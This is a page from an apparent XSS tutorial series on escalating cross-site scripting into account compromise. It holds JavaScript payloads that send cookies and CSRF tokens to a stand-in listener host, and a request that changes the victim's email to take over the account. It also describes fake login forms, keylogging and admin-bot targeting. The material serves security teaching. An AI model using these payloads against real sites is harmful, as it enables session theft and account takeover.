Cross-Site Scripting (XSS): The Complete Practical Guide
Exploiting XSS: Cookie Theft, Account Takeover, and Admin Bots
Turning XSS from alert(1) into real impact: stealing cookies, account takeover from the victim's session, credential harvesting, and the admin-bot pattern.
Published
alert(1) proves your code runs. It is not an attack. The value of XSS is entirely in what you do after execution, and that depends on the victim's session and the app's defenses. This page is the jump from "it fires" to "I own the account."
Stealing non-HttpOnly cookies
If the session cookie lacks the HttpOnly flag, JavaScript can read it, and you exfiltrate it to a server you control:
new Image().src = "//listener.example/?c=" + encodeURIComponent(document.cookie);An image beacon has no CORS restrictions and fires from any context, so it is the most reliable exfil channel. Replay the stolen cookie in your own browser and you are logged in as the victim. This is why HttpOnly exists, and why its absence is an immediate finding.
When cookies are HttpOnly: act from the session instead
HttpOnly stops you reading the cookie, not using the session. Your script runs in the victim's browser, so any request it makes carries their cookies automatically. Read whatever anti-CSRF token the page exposes and submit a privileged request as them:
fetch("//listener.example/?t=" + document.querySelector("[name=csrf]").value);Or skip exfiltration entirely and perform the action in place. You do not need the cookie value when you can act with it.
Full account takeover
The cleanest outcome is to change the account out from under the victim, using their own authenticated session:
fetch("/account/email", {
method: "POST",
credentials: "include",
headers: { "Content-Type": "application/x-www-form-urlencoded" },
body: "[email protected]",
});With the email changed, trigger a password reset to the new address and the account is yours. The same shape works for adding an API key, promoting a role, or whatever state-changing endpoint the session can reach. This is XSS chained into a forged state-changing request, except there is no anti-CSRF problem because you read the token straight out of the page first.
Harvesting credentials with a fake form
When you want the password itself, inject a convincing login or re-authentication prompt into the trusted page and post what the victim types to your listener. Because it renders on the real domain, with the real URL in the address bar, it defeats the usual phishing tells. This is slower and needs interaction, so it is a fallback when session-based actions are not enough.
Keylogging
A handler on document that ships keystrokes to your listener captures everything typed on the page while your script lives, including data entered into forms that never submit. Useful for grabbing values that are not in the DOM yet.
The admin-bot pattern
The highest-value XSS targets content a privileged user is forced to open. You plant a stored payload in a support ticket, a flagged comment, or a seller application. A moderator or admin opens it as part of their job, and your script runs in their session, not yours. Suddenly you are exfiltrating an admin cookie or calling an admin-only endpoint. Many labs model this with an automated "admin bot" that visits submitted content, which is exactly the real-world shape.
Chaining XSS into takeover
Put the pieces together and the chain is: find a sink, confirm execution, identify what the session can do, then either steal the cookie or act from the session, and aim it at the account that matters. The individual tricks are simple. The skill is choosing the right one for the target and landing it against the right viewer.
When script is blocked by a strict CSP and you still need to exfiltrate, there is a no-JavaScript option in dangling markup injection. Put this chain together end to end on a free live target.
← Back to Cross-Site Scripting (XSS): The Complete Practical Guide